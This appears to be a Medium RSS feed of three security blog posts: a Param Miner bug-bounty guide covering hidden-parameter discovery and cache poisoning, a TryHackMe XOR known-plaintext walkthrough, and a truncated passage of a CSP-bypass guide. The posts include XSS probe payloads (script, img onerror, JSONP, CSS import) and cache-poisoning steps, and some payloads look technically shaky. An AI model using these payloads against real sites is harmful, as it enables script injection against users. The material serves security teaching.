<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Exhaustedmutex on Medium]]></title>
        <description><![CDATA[Stories by Exhaustedmutex on Medium]]></description>
        <link>https://medium.com/@MutexSec?source=rss-faf9f5cc1774------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5fW4XjvUxu8pC8f1k1S3Xw.png</url>
            <title>Stories by Exhaustedmutex on Medium</title>
            <link>https://medium.com/@MutexSec?source=rss-faf9f5cc1774------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 14:23:28 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@MutexSec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Using Param Miner to Discover Parameters in Burp Suite: My Bug Bounty Journey]]></title>
            <link>https://medium.com/@MutexSec/using-param-miner-to-discover-parameters-in-burp-suite-my-bug-bounty-journey-2e98a1990e05?source=rss-faf9f5cc1774------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e98a1990e05</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[Exhaustedmutex]]></dc:creator>
            <pubDate>Mon, 27 Apr 2026 17:57:37 GMT</pubDate>
            <atom:updated>2026-04-27T17:57:37.687Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A first-person guide to finding hidden inputs, chasing cache poisoning bugs, and levelling up your recon game — written for hunters at every level.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3FWFBrrqztu32C50lkCo8A.png" /></figure><blockquote>Reading time: ~12 minutes<br>Skill level: Beginner to Intermediate<br>Tools covered: Burp Suite (Community &amp; Pro), Param Miner extension</blockquote><h3>Introduction: The Bug That Almost Got Away</h3><p>I was three hours into a routine recon session on a public bug bounty target. I had crawled the app, mapped the endpoints, and poked every visible parameter I could find. Nothing. The surface looked clean, and I was close to moving on.</p><p>Then I remembered a tip I had seen in a PortSwigger tutorial: <em>the most interesting parameters are the ones nobody told you about.</em> I right-clicked a plain-looking request in Burp’s site map, fired up Param Miner, and walked away to make coffee.</p><p>When I came back, the output tab was showing a parameter the app never advertised — one that reflected its value directly into the response body without any sanitisation. That single hidden input became the lead that eventually turned into a confirmed XSS report.</p><p>That day taught me something I now treat as a rule: <strong>parameter discovery is not optional — it is where the real attack surface lives.</strong> This post is everything I know about doing it efficiently with Param Miner.</p><h3>What Are “Hidden” Parameters, Anyway?</h3><p>Before we touch the tool, let us talk about the problem it solves.</p><p>Web applications accept input through many channels: URL query strings, POST body fields, HTTP headers, and cookies. The parameters a developer <em>documents</em> or <em>displays</em> in a form are only a fraction of the ones the back-end actually reads. There are often legacy inputs left over from old features, debug flags meant for internal use, A/B testing toggles, and undocumented API keys — all quietly accepted by the server but invisible to a casual observer.</p><p>PortSwigger defines these as <strong>hidden inputs</strong> — HTTP headers, cookies, or parameters that affect how a site responds to requests but are not used during normal interaction with the site. Because they are unintentionally exposed and often poorly validated, they are a goldmine for bug hunters. Common vulnerability classes that start with a hidden parameter include:</p><ul><li><strong>Reflected XSS</strong> — the parameter value lands in the page without encoding</li><li><strong>Web cache poisoning</strong> — the parameter is reflected but not included in the cache key</li><li><strong>SSRF</strong> — a forgotten URL parameter is sent directly to a backend HTTP client</li><li><strong>IDOR</strong> — a numeric ID field grants access to another user’s resource</li><li><strong>SQLi</strong> — an undocumented filter or sort field is passed raw to a query</li></ul><p>The challenge is finding them. Manually guessing thousands of header names and query-string keys is not realistic. That is exactly what Param Miner automates.</p><h3>What Is Param Miner?</h3><p><strong>Param Miner</strong> is a free Burp Suite extension developed and maintained by PortSwigger. It identifies hidden, unlinked parameters by comparing pairs of requests — one with a candidate input added, one without — and flagging any pair where the responses differ. It is particularly well-known for its power in finding web cache poisoning vulnerabilities, but its application goes far beyond that.</p><p>Key things it can guess for you:</p><p>TypeWhat it looks forGET parametersQuery-string keys appended to the URLPOST / body parametersFields submitted in request bodiesCookie parametersHidden cookie names the server readsHTTP headersCustom or legacy headers (e.g., X-Forwarded-For, X-Original-URL)</p><p>Param Miner ships with a built-in wordlist and also builds a session-specific wordlist by <strong>learning observed words</strong> from the responses it receives — so the longer it runs, the smarter its guesses become.</p><h3>Installation</h3><h3>Method 1 — BApp Store (Recommended, Takes 60 Seconds)</h3><p>This is the easiest path and works in both Burp Suite Community and Burp Suite Professional.</p><ol><li>Open Burp Suite.</li><li>Click the <strong>Extensions</strong> tab (older versions show this as <strong>Extender</strong>).</li><li>Select the <strong>BApp Store</strong> sub-tab.</li><li>Type Param Miner in the search bar.</li><li>Click <strong>Install</strong>.</li><li>Burp will add a new <strong>Param Miner</strong> tab to the interface once installation is complete.</li></ol><p>That is it. No restart required in most versions.</p><blockquote><strong><em>Note:</em></strong><em> Param Miner requires Burp Suite version 2021.9 or later. If you are running an older build, update Burp first.</em></blockquote><h3>Method 2 — GitHub / Manual Installation</h3><p>If you are working in an air-gapped lab, prefer to pin to a specific version, or want to contribute to development, you can build Param Miner from source.</p><p><strong>Prerequisites:</strong> Java JDK, Git</p><pre># 1. Clone the repository<br>git clone https://github.com/PortSwigger/param-miner.git<br>cd param-miner<br><br># 2. Build the fat JAR (Linux/macOS)<br>./gradlew build fatjar<br><br># Windows<br># gradlew.bat build fatjar<br><br># 3. Find the output JAR<br>ls build/libs/param-miner-all.jar</pre><p>Once the JAR is built:</p><ol><li>In Burp, go to <strong>Extensions</strong> → <strong>Installed</strong> → <strong>Add</strong>.</li><li>Set <strong>Extension type</strong> to Java.</li><li>Browse to build/libs/param-miner-all.jar and click <strong>Next</strong>.</li><li>Burp will load the extension and confirm success in the output pane.</li></ol><p>The GitHub page also has release notes and changelogs — worth bookmarking if you want to track when new attack types are added.</p><h3>Understanding the Param Miner Interface</h3><p>Once installed, Param Miner adds its own tab to Burp. Inside you will find two important sub-sections:</p><ul><li><strong>Settings</strong> — global configuration (concurrency, wordlists, attack options)</li><li><strong>Output / Results</strong> — a running log of every finding across all scans, accessible even after Burp Pro scan reports are closed</li></ul><p>The settings panel exposes options I will cover in the tips section, but for everyday hunting you rarely need to touch them.</p><h3>Step-by-Step: Running Your First Scan</h3><h3>Step 1 — Capture a Request</h3><p>Browse to your target with Burp’s proxy active. Let the Site Map populate under <strong>Target</strong> → <strong>Site map</strong>. Aim for requests that hit server-side logic — login pages, search endpoints, API calls, and profile-update routes are all good candidates.</p><h3>Step 2 — Select Your Target Request</h3><p>In the Site Map, click the request you want to analyse. You can select multiple requests by holding Ctrl (Windows/Linux) or Cmd (macOS) and clicking additional rows — Param Miner will queue them all.</p><h3>Step 3 — Launch Param Miner</h3><p>Right-click the selected request(s) and navigate through the context menu:</p><pre>Extensions → Param Miner → Guess params</pre><p>A small configuration dialog will appear asking which type of hidden inputs you want to probe.</p><h3>Step 4 — Choose Your Attack Mode</h3><p>OptionWhen to use it<strong>Guess GET parameters</strong>Endpoint accepts query strings; you want to find hidden keys<strong>Guess cookie parameters</strong>Session-handling endpoints; look for debug or privilege cookies<strong>Guess headers</strong>Any endpoint — great for cache poisoning leads<strong>Guess everything!</strong>Comprehensive sweep; slower but misses nothing</p><p>For an initial recon pass, I usually start with <strong>Guess headers</strong> because header-based findings tend to have higher severity (cache poisoning, SSRF). Then I follow up with <strong>Guess GET parameters</strong> on the most interesting endpoints.</p><h3>Step 5 — Review the Output</h3><p>Results appear in two places:</p><ol><li><strong>Param Miner tab → Output</strong> — always available, logs every discovered parameter with the endpoint and evidence.</li><li><strong>Burp Suite scanner issues</strong> — if you are on Burp Pro, confirmed findings are also raised as scanner issues in the Dashboard and Target tabs.</li></ol><p>For each finding, Param Miner shows you the parameter name and the pair of responses that differ. Your job is to take that parameter name into <strong>Repeater</strong> and explore what it does.</p><h3>Step 6 — Verify Manually in Repeater</h3><p>This step is non-negotiable. A parameter flagged by Param Miner tells you the server <em>responds differently</em> when that input is present — it does not tell you <em>why</em> or <em>how</em>. Open Repeater, add the discovered parameter, and start probing:</p><ul><li>What happens if you change the value to 1, true, admin, or ../?</li><li>Does the value appear anywhere in the response body or headers?</li><li>Does the server return a different HTTP status code?</li><li>Does the response size, timing, or content change in a meaningful way?</li></ul><p>The answer to those questions determines whether you have a lead worth developing into a report.</p><h3>Real-World Bug Bounty Examples</h3><h3>Hidden XSS via a Parameter Named q</h3><p>A researcher testing a search endpoint used Param Miner to probe for hidden GET parameters. The tool surfaced a parameter called q that the application never displayed in the visible UI. When the researcher appended ?q=&lt;script&gt;alert(1)&lt;/script&gt; to the request, the payload was reflected directly into the page without HTML-encoding.</p><p>The root cause was a combination of two failures: the application relied on client-side validation (which only checked visible form fields) and the server-side code simply echoed the q value into a JavaScript context. Because the parameter was undocumented, it had never been reviewed during a code audit. The finding was confirmed as a stored XSS with a direct impact on users of the affected search feature.</p><p><strong>Lesson:</strong> Hidden parameters often bypass the input validation applied to their “official” siblings, precisely because no one knew to include them.</p><h3>Example 2 — Cache Poisoning + XSS via an Unkeyed Header</h3><p>In a public write-up on Infosec Writeups, researcher Vuk Ivanovic described using Param Miner against a live bug bounty target. Param Miner discovered a hidden HTTP header parameter whose value was reflected inside the body of the site’s main page. Because the header was not included in the CDN’s cache key, the poisoned response was served to every subsequent visitor who hit the same cached URL — turning a reflected input into a stored, worm able XSS.</p><p>Ivanovic notes: <em>“Aside from testing for hidden parameters, [Param Miner] also tests for cache poisoning, and then there’s Burp Pro with its scanner which tests for XSS. Add them together and you can get yourself some nice bounties.”</em></p><p>This combination — Param Miner surfacing the unkeyed header, Burp Scanner confirming the XSS — is a workflow I now follow on every target that sits behind a CDN.</p><h3>Example 3 — Fat GET Cache Poisoning (James Kettle / Black Hat 2020)</h3><p>James Kettle, PortSwigger’s Director of Research, demonstrated fat GET cache poisoning at Black Hat USA 2020 and released a dedicated Param Miner scan mode for it. The attack works when an application accepts GET requests with a body — the body content is processed by the server but excluded from the cache key. An attacker who supplies a malicious payload in the GET body can poison the cache for every legitimate user who requests that URL.</p><p>To reproduce the workflow in Burp:</p><ol><li>In the Site Map, select everything in scope.</li><li>Right-click → <strong>Extensions → Param Miner → Bulk Scan → Fat GET</strong>.</li><li>Param Miner sends paired requests (with and without a body) and flags responses that differ.</li><li>Confirm in Repeater by injecting alert(1) as the body value, then clearing the cache entry and re-requesting the URL with a normal GET.</li></ol><p>Kettle’s full research, <em>Web Cache Entanglement</em>, is required reading if you are serious about cache poisoning bugs.</p><h3>Cache Poisoning Detection: A Closer Look</h3><p>Cache poisoning deserves its own section because Param Miner has specific features designed for it.</p><h3>How It Works</h3><p>Web caches store responses and serve them to subsequent visitors. The cache decides what to store based on a <strong>cache key</strong> — usually the URL and a few headers. Any input that affects the response <em>but is not part of the cache key</em> is called an <strong>unkeyed input</strong>. If an attacker can control an unkeyed input and its value lands in the response, they can poison the cache.</p><h3>Param Miner’s Cache Poisoning Workflow</h3><p>Param Miner adds a <strong>cache buster</strong> parameter (fcbz=1) to every request it sends by default. This prevents your probing from accidentally poisoning the real cache for other users — an important responsible-disclosure consideration.</p><p>The try cache poison setting (in the Attack Config panel) tells Param Miner to go a step further: when it detects a reflective unkeyed header, it automatically tests whether that header&#39;s value can be used to poison a cached response. You get a direct signal rather than having to manually confirm every header finding.</p><h3>What to Check After a Finding</h3><p>Once Param Miner flags a potential cache poisoning issue, validate it with these steps:</p><ol><li>Append a unique cache-buster query parameter (e.g., ?cb=youruniqueid) to isolate your test.</li><li>Send the request with the poisoned header value. Look for the value in the response.</li><li>Send a clean request without the header to the same URL + cache-buster.</li><li>Check response headers for caching signals: X-Cache: HIT, CF-Cache-Status: HIT, Age: &lt;non-zero&gt;.</li><li>If the poisoned value appears in the “clean” response, the cache is storing it. You have confirmed the bug.</li></ol><h3>Configuration Tips</h3><h3>Use a Custom Wordlist</h3><p>The built-in wordlist covers common parameters, but targets in niche sectors (finance, healthcare, e-commerce platforms) often use domain-specific parameter names. I maintain a personal wordlist built from:</p><ul><li>Past bug bounty reports in the same domain</li><li>JavaScript files from the target (extracted with tools like linkfinder)</li><li>Open-source API documentation for frameworks the target likely uses</li></ul><p>In Param Miner’s Settings tab, toggle <strong>Use custom wordlist</strong> and point it to your file.</p><h3>Enable Auto-Mine</h3><p>The <strong>auto-mine headers</strong> and <strong>auto-mine params</strong> settings instruct Param Miner to passively launch guessing attacks based on traffic flowing through your proxy — without needing a manual right-click. This is useful for long hunting sessions where you want coverage without micromanaging every request.</p><h3>Learn Observed Words</h3><p>With <strong>learn observed words</strong> enabled, Param Miner extracts words from every response it receives and adds them to the current session’s wordlist. Over a long session, this dramatically improves coverage because the tool learns the application’s own vocabulary and uses it as guesses.</p><h3>Skip Uncacheable Responses</h3><p>If your focus is cache poisoning and you want speed, enable <strong>skip uncacheable</strong> — this tells Param Miner to skip endpoints where the response includes no-cache directives, since those pages will never serve cached content to other users anyway.</p><h3>Respect Rate Limits</h3><p>Param Miner sends a high volume of requests. On bug bounty programs with strict rate limits or WAFs, this can get you blocked or, worse, flagged as abusive behavior. I always check the program’s rules before running any automated scan. For sensitive targets, I reduce concurrency in the Settings tab and run scans during off-peak hours.</p><h3>Common Pitfalls</h3><h3>Pitfall 1 — Treating Every Finding as a Vulnerability</h3><p>Param Miner flags parameters where responses <em>differ</em>, not parameters that are <em>exploitable</em>. A different Content-Length, a changed timestamp in the body, or a rotating session token can all produce false-positive signals. Every finding needs manual verification in Repeater before you write a report.</p><h3>Pitfall 2 — Skipping the Cache Buster</h3><p>Running Param Miner against a live cache without the fcbz cache buster enabled risks poisoning the real cache for genuine users. This can violate the bug bounty program&#39;s rules of engagement and cause real harm. Always verify that the cache buster option is active before scanning anything in production.</p><h3>Pitfall 3 — Running Against Out-of-Scope Hosts</h3><p>Param Miner, especially with auto-mine enabled, will follow your browsing wherever you go. If you accidentally browse to an out-of-scope domain while auto-mine is active, the extension will start scanning that host. Scope your Burp target carefully under <strong>Target → Scope</strong> and enable <strong>Use advanced scope control</strong> to be precise.</p><h3>Pitfall 4 — Ignoring Community Edition Limitations</h3><p>Param Miner works in both Burp Community and Burp Pro, but with differences. In Community Edition, scan results are not surfaced as scanner issues in the Dashboard — you must check the Param Miner Output tab manually. Some advanced integration features (like automatic passive scanning of flagged parameters) also require Pro. Knowing these limits prevents you from thinking a scan “found nothing” when the results are simply stored elsewhere.</p><h3>Pitfall 5 — Not Reading the Output Carefully</h3><p>The Param Miner output can get long, fast. I have seen hunters glance at it, see “no critical issues,” and move on — missing a gold-standard finding buried two screens down. Build a habit of reading the full output and noting every parameter name, even the ones that look boring.</p><h3>My Personal Workflow</h3><p>Here is the routine I follow on every new bug bounty target:</p><ol><li><strong>Browse manually</strong> for 20–30 minutes with Burp proxy active to populate the Site Map.</li><li><strong>Sort the Site Map by response size</strong> — unusual sizes often indicate interesting server-side logic.</li><li><strong>Select the top 10–15 most interesting requests</strong> (login, search, profile update, API endpoints).</li><li><strong>Right-click → Guess headers first.</strong> Header findings have the highest average severity in my experience.</li><li><strong>Let it run while I review JavaScript files</strong> for additional parameter names to add to my custom wordlist.</li><li><strong>Follow up with Guess GET parameters</strong> on endpoints that return dynamic content.</li><li><strong>Verify every finding in Repeater</strong> before writing a single line of the report.</li><li><strong>Document as I go</strong> — parameter name, endpoint, observed behaviour, and any payloads I tried.</li></ol><p>Step 8 sounds obvious, but I have lost track of promising leads because I forgot to note them before moving on. A simple Markdown notes file open next to Burp is all I need.</p><h3>Quick Reference: Param Miner Cheat Sheet</h3><pre>INSTALLATION<br>  BApp Store: Extensions → BApp Store → Search &quot;Param Miner&quot; → Install<br>  GitHub:     git clone https://github.com/PortSwigger/param-miner<br>              ./gradlew build fatjar → load build/libs/param-miner-all.jar</pre><pre>LAUNCHING A SCAN<br>  Target → Site map → Right-click request(s)<br>  → Extensions → Param Miner → Guess params</pre><pre>SCAN MODES<br>  Guess GET parameters    Query-string key bruteforce<br>  Guess cookie parameters Cookie name bruteforce<br>  Guess headers           HTTP header name bruteforce<br>  Guess everything!       All of the above</pre><pre>CACHE POISONING<br>  Bulk scan → Fat GET     Tests for fat GET cache poisoning<br>  Attack Config →         Automatically tests reflective<br>    try cache poison        unkeyed headers for poisonability<br>  Attack Config →         Appends fcbz=1 to avoid real<br>    Add &#39;fcbz&#39; cachebuster  cache pollution (ON by default)</pre><pre>RESULTS LOCATION<br>  Burp Community:   Param Miner tab → Output<br>  Burp Pro:         Dashboard → Issues AND Param Miner Output</pre><pre>KEY SETTINGS<br>  learn observed words    Grows wordlist from response content<br>  auto-mine headers       Passive scans proxy traffic (headers)<br>  auto-mine params        Passive scans proxy traffic (params)<br>  use custom wordlist     Load your own wordlist file<br>  skip uncacheable        Skip no-cache responses (cache focus)<br>  max one per host        Prevents multi-scan rate-limit issues<br>  scan identified params  Run Burp Scanner on found params (Pro)</pre><h3>Closing Thoughts</h3><p>I started bug bounty hunting thinking recon meant finding subdomains. It took tools like Param Miner to show me that the most interesting attack surface is often invisible — quietly sitting in the server-side logic, waiting for someone to ask the right question.</p><p>Param Miner asks thousands of those questions for you, systematically, in minutes. It does not hand you a vulnerability — it hands you a lead. The craft is in what you do with that lead: understanding why the server responded differently, tracing the code path in your head, and imagining what could go wrong if the wrong value ends up in the wrong place.</p><p>If you are new to bug bounty hunting, make Param Miner part of every engagement from day one. If you are more experienced and have been skipping parameter discovery because the visible surface looks clean — stop skipping it. The best bugs are not on the surface.</p><p>They are the ones nobody thought to document.</p><h3>Further Reading</h3><ul><li><a href="https://github.com/PortSwigger/param-miner">Param Miner GitHub Repository</a> — source code, changelogs, build instructions</li><li><a href="https://github.com/nikitastupin/param-miner-doc">Unofficial Param Miner Documentation</a> — detailed breakdown of every Attack Config setting</li><li><a href="https://portswigger.net/burp/documentation/desktop/testing-workflow/analyzing/hidden-inputs">PortSwigger: Checking for Hidden Inputs</a> — official usage guide</li><li><a href="https://portswigger.net/research/web-cache-entanglement">PortSwigger: Web Cache Poisoning Research</a> — James Kettle’s Black Hat 2020 research (fat GET, cache entanglement)</li><li><a href="https://www.intigriti.com/researchers/blog/hacking-tools/finding-hidden-input-parameters">Intigriti: Finding Hidden Input Parameters</a> — five complementary techniques</li><li><a href="https://infosecwriteups.com/cache-poisoning-with-xss-a-peculiar-case-eb5973850814">Cache Poisoning via XSS — Infosec Writeups</a> — real-world write-up combining Param Miner + Burp Scanner</li></ul><p><em>Written as part of my ongoing bug bounty journey. Questions, corrections, or your own Param Miner stories — drop them in the comments below.</em></p><p><em>Happy hunting. 🐛</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e98a1990e05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ W1seGuy TryHackMe Room — Cracking XOR Like a Pro]]></title>
            <link>https://medium.com/@MutexSec/%EF%B8%8F-w1seguy-tryhackme-room-cracking-xor-like-a-pro-e35d323ca844?source=rss-faf9f5cc1774------2</link>
            <guid isPermaLink="false">https://medium.com/p/e35d323ca844</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[xor]]></category>
            <dc:creator><![CDATA[Exhaustedmutex]]></dc:creator>
            <pubDate>Wed, 04 Jun 2025 22:55:43 GMT</pubDate>
            <atom:updated>2025-06-05T18:07:50.262Z</atom:updated>
            <content:encoded><![CDATA[<h3>W1seGuy TryHackMe Room — Cracking XOR Like a Pro</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZpIHk0J4g4HIE-GUPt9iZQ.jpeg" /><figcaption>W1seGuy TryHackMe Room</figcaption></figure><h3>🔮 Intro</h3><p>A wise guy once said: “Most encryption is secure — until you start making assumptions.” In this TryHackMe challenge, we’re given a small piece of Python code that encrypts a flag using XOR and a randomly generated key. Your mission: reverse it.</p><p>But this isn’t just a walkthrough — it’s a mini masterclass in:</p><ul><li>✅ XOR encryption</li><li>✅ Known-plaintext attacks</li><li>✅ Brute-forcing with partial key recovery</li><li>✅ Writing Python tools for CTF challenges</li></ul><p>Let’s break this puzzle down like real analysts — clean, efficient, and a little bit wise.</p><h3>📚 Section 1: Understanding the Challenge</h3><p>We’re given Python code that encrypts a flag using a 5-character alphanumeric key. The process:</p><ul><li>A static plaintext flag (e.g., THM{thisisafakeflag}) is XORed with a repeating 5-char key.</li><li>The result is encoded in hex.</li><li>You’re asked to guess the encryption key.</li></ul><h3>🔍 Encryption Logic</h3><pre>def setup(server, key):<br>    flag = &#39;THM{thisisafakeflag}&#39;<br>    xored = &quot;&quot;<br>    for i in range(len(flag)):<br>        xored += chr(ord(flag[i]) ^ ord(key[i % len(key)]))<br>    hex_encoded = xored.encode().hex()<br>    return hex_encoded</pre><h3>Key Takeaways</h3><ul><li>XOR is byte-by-byte.</li><li>The key is reused cyclically.</li><li>XOR is symmetric and reversible.</li></ul><h3>🤔 Why XOR? What Makes It Vulnerable?</h3><p>XOR is fast, simple, and perfectly reversible. Also perfectly predictable when part of the plaintext is known.</p><h3>XOR 101:</h3><ul><li>A ⊕ A = 0</li><li>A ⊕ 0 = A</li><li>A ⊕ B = C ⇒ C ⊕ A = B</li></ul><p>If Cipher = Plain ⊕ Key, then Key = Cipher ⊕ Plain</p><h3>⚔️ Section 2: Connect to the Challenge</h3><p>Boot the machine and connect with:</p><pre>nc MACHINE_IP 1337</pre><p>Output:</p><pre>This XOR encoded text has flag 1:<br>39190a4b125c302b5e1628293371161965245b012c3f350303011d3e58371f253e00171f2908421f</pre><blockquote><em>Each session generates a new key, so capture ciphertext once and stay on that connection.</em></blockquote><h3>🔑 Section 3: Known-Plaintext Attack</h3><p>We know:</p><ul><li>Flag starts with THM{</li><li>Ends with }</li></ul><p>That gives us 5 known positions in the ciphertext — exactly the key length. Enough to fully recover the key.</p><h3>🧪 Section 4: Python Key Recovery Tool</h3><pre>cipher_hex = &quot;39190a4b125c302b5e1628293371161965245b012c3f350303011d3e58371f253e00171f2908421f&quot;<br>cipher_bytes = bytes.fromhex(cipher_hex)<br><br># Known plaintext<br>known_plaintext = {<br>    0: &#39;T&#39;,<br>    1: &#39;H&#39;,<br>    2: &#39;M&#39;,<br>    3: &#39;{&#39;,<br>    len(cipher_bytes) - 1: &#39;}&#39;<br>}<br>key_len = 5<br>key_bytes = [None] * key_len<br># Recover key<br>for pos, char in known_plaintext.items():<br>    key_index = pos % key_len<br>    key_bytes[key_index] = cipher_bytes[pos] ^ ord(char)<br># Decrypt<br>decrypted = []<br>for i, byte in enumerate(cipher_bytes):<br>    key_index = i % key_len<br>    k = key_bytes[key_index]<br>    decrypted.append(chr(byte ^ k) if k is not None else &#39;?&#39;)<br># Results<br>key_str = &#39;&#39;.join(chr(k) if k else &#39;?&#39; for k in key_bytes)<br>flag_str = &#39;&#39;.join(decrypted)<br>print(f&quot;Recovered Key: {key_str}&quot;)<br>print(f&quot;Decrypted Flag: {flag_str}&quot;)</pre><h3>Sample Output:</h3><pre>Recovered Key: mQG0b<br>Decrypted Flag: THM{TRY-IT-YOURSELF}</pre><h3>📆 Section 5: Submit Your Key</h3><p>Go back to the Netcat session and enter:</p><pre>&gt; mQG0b</pre><p>Success:</p><pre>Congrats! That is the correct key!<br>Here is flag 2: THM{TRY-IT-YOURSELF}</pre><h3>📊 Beyond the Challenge</h3><p>Lessons learned:</p><ul><li>Simple XOR becomes vulnerable when plaintext is predictable</li><li>Known-plaintext attacks are powerful in real-world protocols</li><li>You now know how to write Python scripts to automate cryptanalysis</li></ul><h3>💼 Bonus Tip:</h3><p>You could build a scoring system to brute-force key candidates across multiple sessions using flag format detection (e.g., THM{...}) and printable character filters.</p><h3>🧐 Wrap-Up</h3><p>This challenge beautifully teaches:</p><ul><li>The dangers of weak encryption implementations</li><li>The elegance of Python in cryptanalysis</li><li>How powerful partial information can be</li></ul><p>If you enjoyed this walkthrough, consider sharing it with fellow CTFers or leaving feedback below.</p><p>Happy hacking — stay wise!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e35d323ca844" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding and Testing for Content Security Policy (CSP)]]></title>
            <link>https://medium.com/@MutexSec/understanding-and-testing-for-content-security-policy-csp-ab01c74a9a1f?source=rss-faf9f5cc1774------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab01c74a9a1f</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Exhaustedmutex]]></dc:creator>
            <pubDate>Wed, 26 Mar 2025 13:37:32 GMT</pubDate>
            <atom:updated>2025-03-26T13:37:32.215Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Content Security Policy (CSP) is a critical security control used to mitigate client-side attacks such as Cross-Site Scripting (XSS) and data injection. While developers implement CSP to enforce restrictions, <strong>red teamers</strong> and <strong>penetration testers</strong> (or even <strong>Bug Bounty Hunters</strong>) must understand how to bypass weak or misconfigured policies.</p><figure><img alt="mutexSec.com" src="https://cdn-images-1.medium.com/max/1024/1*mBHCMTdWOaMMjsXt80WAtg.png" /></figure><p>This guide will focus on <strong>how to assess, bypass, and exploit CSP</strong> rather than how to implement it from a defensive perspective.</p><h3>What is CSP?</h3><p>CSP is a browser-enforced security mechanism that defines which resources (scripts, styles, images, etc.) can be loaded on a page. It helps prevent malicious code execution but is <strong>not a foolproof defense</strong> — misconfigurations and overly permissive policies create attack vectors.</p><p>CSP is set via:</p><ol><li><strong>HTTP response headers:</strong> Content-Security-Policy: default-src &#39;self&#39;;</li><li><strong>Meta tags in HTML:</strong></li></ol><pre>&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src &#39;self&#39;;&quot;&gt;</pre><p>From a penetration tester’s perspective, <strong>policy bypass techniques</strong> rely on misconfigurations, unsafe resource loading, or trusted third-party domains.</p><h3>Key CSP Directives and Their Weaknesses</h3><p>Understanding directives is key to identifying attack surfaces in a web application.</p><h3>Fetch Directives (Control Resource Loading)</h3><p>These dictate where different types of resources can be loaded from:</p><ul><li><strong>default-src</strong>: Fallback policy for all resource types.</li><li><strong>script-src</strong>: Controls JavaScript execution sources.</li><li><strong>img-src</strong>: Defines where images can be loaded from.</li><li><strong>media-src</strong>: Governs media file locations.</li><li><strong>style-src</strong>: Restricts external CSS loading.</li></ul><p>🛑 <strong>Weakness:</strong> If script-src includes unsafe-inline or allows third-party domains (e.g., https://trustedcdn.com), attackers can inject malicious JavaScript via stored or reflected XSS.</p><h3>Document Directives (Control Page Behavior)</h3><ul><li><strong>sandbox</strong>: Restricts a page’s functionality (e.g., prevents JavaScript execution).</li><li><strong>base-uri</strong>: Prevents the &lt;base&gt; tag from changing navigation behavior.</li></ul><p>🛑 <strong>Weakness:</strong> sandbox bypasses can occur when allow-scripts is enabled.</p><h3>Navigation Directives (Control Form Submissions &amp; Embedding)</h3><ul><li><strong>form-action</strong>: Limits form submission destinations.</li><li><strong>frame-ancestors</strong>: Prevents embedding via &lt;iframe&gt;.</li></ul><p>🛑 <strong>Weakness:</strong> If form-action allows external URLs, attackers can trick users into submitting sensitive data to malicious endpoints.</p><h3>Other Security Directives</h3><ul><li><strong>upgrade-insecure-requests</strong>: Converts HTTP to HTTPS.</li><li><strong>report-uri</strong>: Logs CSP violations for debugging.</li></ul><p>🛑 <strong>Weakness:</strong> If a site relies on report-uri, an attacker can flood logs to cause noise or DoS issues.</p><h3>How to Test for CSP Weaknesses</h3><h3>1. Reviewing Policy Configuration</h3><p>Use browser dev tools:</p><ul><li>Open <strong>Chrome DevTools</strong> (F12) → <strong>Network</strong> → Check Content-Security-Policy header.</li><li>Look for policy violations in the <strong>Console</strong> tab.</li></ul><h3>2. Testing for Misconfigurations</h3><p>Try injecting payloads to bypass CSP:</p><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><p>If blocked, test alternative methods:</p><ul><li><strong>Bypass via JSONP:</strong></li></ul><pre>&lt;script src=&quot;https://trustedcdn.com/callback.js?data=&lt;script&gt;alert(1)&lt;/script&gt;&quot;&gt;&lt;/script&gt;</pre><ul><li><strong>Using inline event handlers:</strong></li></ul><pre>&lt;img src=x onerror=alert(1)&gt;</pre><ul><li><strong>Exploit allowed </strong><strong>unsafe-inline policies:</strong></li></ul><pre>&lt;style&gt;@import url(https://medium.com/&quot;javascript:alert(1)&quot;);&lt;/style&gt;</pre><h3>3. Exploiting Third-Party Domains</h3><p>If CSP allows external scripts, check if the domain is writable:</p><pre>host trustedcdn.com</pre><p>If you control the content on a permitted domain, inject JavaScript for remote code execution.</p><h3>4. CSP Report-Only Mode Analysis</h3><p>If the application runs in <strong>Report-Only</strong> mode:</p><pre>Content-Security-Policy-Report-Only: default-src &#39;self&#39;; report-uri /csp-report-endpoint;</pre><ul><li>Inject scripts and analyze which restrictions are triggered.</li><li>Use tools like <a 